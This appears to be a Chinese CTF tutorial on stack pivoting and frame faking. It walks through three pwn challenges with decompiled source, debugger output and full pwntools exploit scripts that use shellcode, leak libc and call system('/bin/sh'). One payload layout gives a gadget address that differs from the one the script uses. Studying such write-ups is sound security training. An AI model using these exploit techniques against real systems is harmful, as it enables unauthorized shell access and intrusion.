原理
技巧就是劫持栈指针指向攻击者所能控制的内存处,然后再在相应的位置进行 ROP。一般来说,我们可能在以下情况需要使用 stack pivoting
-
可以控制的栈溢出的字节数较少,难以构造较长的 ROP 链
-
开启了 PIE 保护,栈地址未知,我们可以将栈劫持到已知的区域。
-
此外,利用 stack pivoting 有以下几个要求
-
可以控制程序执行流。
-
可以控制 sp 指针
ret返回前 esp的位置:
|------------栈变量----------|----ebp----|------返回地址------|函数形参|
^
|
esp指向这个位置
ret返回后 esp的位置
---->栈内存由低向高方向----->
|------------栈变量----------|----ebp----|------返回地址------|函数形参|
^
|
esp指向这个位置
当Eip在后续执行过程中,遇到了jmp esp指令,仍会回到上图中esp指向的函数形参位置执行
jmp esp跳转 编写shellcode
题目:RSCTF2019 PWN3
Decription
保护:
[*] '/root/temp/stack povrit/pwn5'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments
源码:
int pwn()
{
char s[24]; // [esp+8h] [ebp-20h]
puts("\nHey! ^_^");
puts("\nIt's nice to meet you");
puts("\nDo you have anything to tell?");
puts(">");
fflush(stdout);
fgets(s, 50, stdin);
puts("OK bye~");
fflush(stdout);
return 1;
}
hint:
__unwind {
.text:08048551 push ebp
.text:08048552 mov ebp, esp
.text:08048554 jmp esp
.text:08048554 hint endp
Solution
栈溢出高度不够,nx保护没开,想到可以控制eip指针,跳转执行shellcode,题目甚至直接给出了gadgetsjmp esp
源程序存在栈溢出漏洞。但是其所能溢出的字节就只有 50-0x20-4=14 个字节,所以我们很难执行一些比较好的 ROP。这里我们就考虑 stack pivoting 。由于程序本身并没有开启堆栈保护,所以我们可以在栈上布置shellcode 并执行。基本利用思路如下
-
利用栈溢出布置 shellcode
-
控制 eip 指向 shellcode处
第一步,还是比较容易地,直接读取即可,但是由于程序本身会开启 ASLR 保护,所以我们很难直接知道shellcode 的地址。但是栈上相对偏移是固定的,所以我们可以利用栈溢出对 esp 进行操作,使其指向 shellcode处,并且直接控制程序跳转至 esp处。那下面就是找控制程序跳转到 esp 处的 gadgets 了。
# root @ pearcepwn in ~/temp/stack povrit [14:29:27]
$ ROPgadget --binary pwn5 --only 'jmp|ret'
Gadgets information
============================================================
0x08048554 : jmp esp
0x08048342 : ret
0x0804843e : ret 0xeac1
0x080484ca : ret 0xfffe
发现有一个可以直接跳转到 esp 的 gadgets。那么我们可以布置 payload 如下
shellcode | padding | fake ebp | 0x08048504 |set esp point to shellcode and jmp esp
那么我们 payload 中的最后一部分改如何设置 esp 呢,可以知道
-
size(shellcode+padding)=0x20
-
size(fake ebp)=0x4
-
size(0x08048504)=0x4
所以我们最后一段需要执行的指令就是
sub 0x28,esp
jmp esp
EXP
#!/usr/bin/env python # -*- coding: utf-8 -*- from pwn import * debug = 0 context(log_level="debug", arch="i386", os="linux") if debug == 1: p = process('./pwn5') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False) elif debug == 0: p = remote('117.139.247.14', 9337) # libc = ELF('./', checksec=False) elf = ELF('./pwn5', checksec=False) # gdb.attach(p, "b *0x08048550\nc") shellcode_x86 = "\x31\xc0\x99\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" pd = shellcode_x86 pd = pd.ljust(0x24, '\x00') pd += p32(0x08048554) pd += asm("sub esp,0x28;jmp esp;") p.sendlineafter('>\n', pd) p.interactive()
frame faking
原理
概括地讲,我们在之前讲的栈溢出不外乎两种方式
-
控制程序 EIP
-
控制程序 EBP
其最终都是控制程序的执行流。在 frame faking 中,我们所利用的技巧便是同时控制 EBP 与 EIP,这样我们在控制程序执行流的同时,也改变程序栈帧的位置。一般来说其 payload 如下
buffer padding|fake ebp|leave ret addr|
即我们利用栈溢出将栈上构造为如上格式。这里我们主要讲下后面两个部分
-
函数的返回地址被我们覆盖为执行 leave ret 的地址,这就表明了函数在正常执行完自己的 leave ret 后,还会再次执行一次 leave ret。
-
其中 fake ebp 为我们构造的栈帧的基地址,需要注意的是这里是一个地址。一般来说我们构造的假的栈帧如下
fake ebp
|
v
ebp2|target function addr|leave ret addr|arg1|arg2
这里我们的 fake ebp 指向 ebp2,即它为 ebp2 所在的地址。通常来说,这里都是我们能够控制的可读的内容。
下面的汇编语法是 intel 语法。
在我们介绍基本的控制过程之前,我们还是有必要说一下,函数的入口点与出口点的基本操作
入口点
push ebp # 将ebp压栈
mov ebp, esp #将esp的值赋给ebp
出口点
leave
ret #pop eip,弹出栈顶元素作为程序下一个执行地址
其中 leave 指令相当于
mov esp, ebp # 将ebp的值赋给esp
pop ebp # 弹出ebp
leave ==> mov esp, ebp; pop ebp;
ret ==> pop eip
下面我们来仔细说一下基本的控制过程。
-
在有栈溢出的程序执行 leave 时,其分为两个步骤
-
mov esp, ebp ,这会将 esp 也指向当前栈溢出漏洞的 ebp 基地址处。
-
pop ebp, 这会将栈中存放的 fake ebp 的值赋给 ebp。即执行完指令之后,ebp 便指向了 ebp2,也就是保存了 ebp2 所在的地址。
-
-
执行 ret 指令,会再次执行 leave ret 指令。
-
执行 leave 指令,其分为两个步骤
-
mov esp, ebp ,这会将 esp 指向 ebp2。
-
pop ebp,此时,会将 ebp 的内容设置为 ebp2 的值,同时 esp 会指向 target function。
-
-
执行 ret 指令,这时候程序就会执行 target function,当其进行程序的时候会执行
-
push ebp,会将 ebp2 值压入栈中,
-
mov ebp, esp,将 ebp 指向当前基地址。
-
此时的栈结构如下
ebp
|
v
ebp2|leave ret addr|arg1|arg2
-
当程序执行时,其会正常申请空间,同时我们在栈上也安排了该函数对应的参数,所以程序会正常执行。
-
程序结束后,其又会执行两次 leave ret addr,所以如果我们在 ebp2 处布置好了对应的内容,那么我们就可以一直控制程序的执行流程。
可以看出在 fake frame 中,我们有一个需求就是,我们必须得有一块可以写的内存,并且我们还知道这块内存的地址,这一点与 stack pivoting 相似。
图示
总结
payload设置 此种攻击方法的关键在于如何同时控制ebp和eip,那么如何同时控制ebp和eip的值的?
1、使用ROPgadget查找leave;ret指令所在的地址
2、覆盖完成bufer后,使用可控制的地址覆盖ebp的值,使用上述leave;ret指令所在地址覆盖ret的值。
程序运行(32位,64位同理):
1、当函数正常返回时,执行leave;ret指令(此处非执行我们覆盖的ret指令)
2、mov esp,ebp;将ebp的值赋给esp,此时esp和ebp同时指向ebp基址处,也就是我们设置的可控制的fake ebp值处。
3、pop ebp,弹出栈顶,也就是ebp的基址,这时会将我们设置的虚假的ebp值赋给ebp寄存器,同时esp+4上移
4、执行ret指令,ret指令相当于pop eip;此时栈顶为我们使用ROPgadget查找的leave;ret指令的地址。将这个地址弹出,赋给eip寄存器。esp+4上移
5、执行eip寄存器中的指令,leave指令;
6、mov esp,ebp;将ebp的值赋给esp,此时ebp寄存器中保存的值为我们设置的虚假的可控的地址,于是esp指向来了该可控地址 7、pop ebp;栈顶弹出赋给ebp,相当于该可控地址的第一个4位地址内容弹出,赋给ebp,可以设置4个a来padding,esp+4上行。 8、执行ret,我们一般将此时esp指向的地址设为目标函数地址,就可执行目标函数了。
32位例题
buuctf的[Black Watch 入群题]PWN 52
Decription
保护:
[*] '/root/pwn/black watch/spwn'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
源码:
ssize_t vul_function()
{
size_t v0; // eax
size_t v1; // eax
char buf; // [esp+0h] [ebp-18h]
v0 = strlen(m1);
write(1, m1, v0);
read(0, &s, 0x200u);
v1 = strlen(m2);
write(1, m2, v1);
return read(0, &buf, 0x20u);
}
m 1 ,m2变量:
.data:0804A080 ; char m1[]
.data:0804A080 m1 db 'Hello good Ctfer!',0Ah
.data:0804A080 ; DATA XREF: vul_function+9↑o
.data:0804A080 ; vul_function+1A↑o
.data:0804A080 db 'What is your name?',0
.data:0804A0A5 align 4
.data:0804A0A8 public m2
.data:0804A0A8 ; char m2[]
.data:0804A0A8 m2 db 'What do you want to say?',0
.data:0804A0A8 ; DATA XREF: vul_function+43↑o
.data:0804A0A8 ; vul_function+54↑o
.data:0804A0A8 _data ends
Solution
两个read函数,第一个s在bss段,可以将数据读入bss段,第二个buf在栈上,可以覆盖返回地址,但是溢出后空间不够哇,所以要将栈迁移到bss段 ,比较特殊,可以直接在bss段写值
EXP
#!/usr/bin/env python # -*- coding: utf-8 -*- from pwn import * from easyLibc import * debug = 1 context(log_level="debug", arch="i386", os="linux") if debug == 1: p = process('./spwn') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False) elif debug == 0: p = remote('node3.buuoj.cn', 27377) # libc = ELF('./', checksec=False) elf = ELF('./spwn', checksec=False) gdb.attach(p ,"b *0x08048408\nc") addr_bss = 0x0804A300 leave_ret = 0x08048408 #: leave ; ret ROPgadget --binary spwn --only 'leave|ret' write_plt =elf.plt['write'] write_got =elf.got['write'] addr_main =elf.symbols['main'] pd = p32(write_plt) + p32(addr_main) + p32(1) + p32(write_got) + p32(4) #栈迁移过来后 执行write函数 write后返回main函数 write的三个参数 p.sendafter("What is your name?",pd) pd='a'*0x18+p32(addr_bss-4)+p32(leave_ret) #由于已经在bss段写入数据,最后pop ebp会使得esp+4,所以要让esp指到addr_bss,需要返回到addr_bss-4 p.sendafter("say?",pd) addr_write = u32(p.recv(4)) libc = easyLibc('write',addr_write) libc_base = addr_write -libc.dump('write') system_addr = libc_base + libc.dump('system') binsh_addr = libc_base + libc.dump('str_bin_sh') pd = p32(system_addr) + p32(addr_main) + p32(binsh_addr) #在bss断写入system('bin/sh') p.sendafter("What is your name?",pd) pd='a'*0x18+p32(addr_bss-4)+p32(leave_ret)#提权 p.sendafter("say?",pd) p.interactive()
64位例题
Decription
保护:
[*] '/root/CTF/Pwn/over/over.over'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
源码:
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
while ( sub_400676() )
;
return 0LL;
}
函数sub_400676():
int sub_400676()
{
char buf; // [rsp+0h] [rbp-50h]
memset(&buf, 0, 0x50uLL);
putchar(62);
read(0, &buf, 0x60uLL);
return puts(&buf);
}
Solution
漏洞很明显, read 能读入 96 位, 但 buf 的长度只有 80, 因此能覆盖 rbp 以及 ret addr 但也只能覆盖到 rbp 和 ret addr, 因此也只能通过同时控制 rbp 以及 ret addr 来进行 rop 了
为了控制 rbp, 我们需要知道某些地址, 可以发现当输入的长度为 80 时, 由于 read 并不会给输入末尾补上 '\0', rbp 的值就会被 puts 打印出来, 这样我们就可以通过固定偏移知道栈上所有位置的地址了
Breakpoint 1, 0x00000000004006b9 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────[ REGISTERS ]────────────────────────────────────────────────────────
RAX 0x7ffceaf11160 ◂— 0x3030303030303030 ('00000000')
RBX 0x0
RCX 0x7ff756e9b690 (__read_nocancel+7) ◂— cmp rax, -0xfff
RDX 0x60
RDI 0x7ffceaf11160 ◂— 0x3030303030303030 ('00000000')
RSI 0x7ffceaf11160 ◂— 0x3030303030303030 ('00000000')
R8 0x7ff75715b760 (_IO_stdfile_1_lock) ◂— 0x0
R9 0x7ff757354700 ◂— 0x7ff757354700
R10 0x37b
R11 0x246
R12 0x400580 ◂— xor ebp, ebp
R13 0x7ffceaf112b0 ◂— 0x1
R14 0x0
R15 0x0
RBP 0x7ffceaf111b0 —▸ 0x7ffceaf111d0 —▸ 0x400730 ◂— push r15
RSP 0x7ffceaf11160 ◂— 0x3030303030303030 ('00000000')
RIP 0x4006b9 ◂— call 0x400530
─────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────
► 0x4006b9 call puts@plt <0x400530>
s: 0x7ffceaf11160 ◂— 0x3030303030303030 ('00000000')
0x4006be leave
0x4006bf ret
0x4006c0 push rbp
0x4006c1 mov rbp, rsp
0x4006c4 sub rsp, 0x10
0x4006c8 mov dword ptr [rbp - 4], edi
0x4006cb mov qword ptr [rbp - 0x10], rsi
0x4006cf mov rax, qword ptr [rip + 0x20098a] <0x601060>
0x4006d6 mov ecx, 0
0x4006db mov edx, 2
─────────────────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────────────────
00:0000│ rax rdi rsi rsp 0x7ffceaf11160 ◂— 0x3030303030303030 ('00000000')
... ↓
───────────────────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────────────────
► f 0 4006b9
f 1 400715
f 2 7ff756de02b1 __libc_start_main+241
Breakpoint *0x4006B9
pwndbg> stack 15
00:0000│ rax rdi rsi rsp 0x7ffceaf11160 ◂— 0x3030303030303030 ('00000000')
... ↓
0a:0050│ rbp 0x7ffceaf111b0 —▸ 0x7ffceaf111d0 —▸ 0x400730 ◂— push r15
0b:0058│ 0x7ffceaf111b8 —▸ 0x400715 ◂— test eax, eax
0c:0060│ 0x7ffceaf111c0 —▸ 0x7ffceaf112b8 —▸ 0x7ffceaf133db ◂— './over.over'
0d:0068│ 0x7ffceaf111c8 ◂— 0x100000000
0e:0070│ 0x7ffceaf111d0 —▸ 0x400730 ◂— push r15
pwndbg> distance 0x7ffceaf111d0 0x7ffceaf11160
0x7ffceaf111d0->0x7ffceaf11160 is -0x70 bytes (-0xe words)
EXP
#!/usr/bin/env python # -*- coding: utf-8 -*- from pwn import * context(log_level="debug", arch="amd64", os="linux") p = process('./over.over') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False) elf = ELF('./over.over',checksec=False) leave_ret = 0x00000000004006be #: leave ; ret pop_rdi = 0x0000000000400793 #: pop rdi ; ret puts_plt = elf.plt['puts'] puts_got = elf.got['puts'] #gdb.attach(p,'b *0x4006B9\nc') gdb.attach(p,'b *0x04006be\nc') pd = 0x50*'a' p.sendafter(">",pd) stack = u64(p.recvuntil('\x7f')[-6: ].ljust(8,'\x00'))-0x70 #泄露栈的地址,动态调试出0x70 success('stack = ' + hex(stack)) pd = 'a'*8 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(0x400676) pd += 40*'a' #执行rop链接,泄露libc pd += p64(stack) pd += p64(leave_ret) p.sendafter(">",pd) addr_puts = u64(p.recvuntil('\x7f')[-6: ].ljust(8,'\x00')) libcbase = addr_puts - libc.sym['puts'] addr_sys = libcbase + libc.sym['system'] addr_binsh = libcbase + libc.search('/bin/sh').next() success('libcbase = ' + hex(libcbase)) success('addr_puts = ' + hex(addr_puts)) success('addr_sys = ' + hex(addr_sys)) success('addr_binsh = ' + hex(addr_binsh)) pd = 8*'a' + p64(pop_rdi) + p64(addr_binsh) + p64(addr_sys) + p64(0xdeadbeaf) pd += 40*'a' pd += p64(stack-0x30)#提权的rop链被写入stack-0x30,动态调试得出,set $rsp = 当前值 - 0x100 #算出rop链地址与stack的偏移 pd += p64(leave_ret) p.sendafter(">",pd) p.interactive()
tql懂了懂了
tql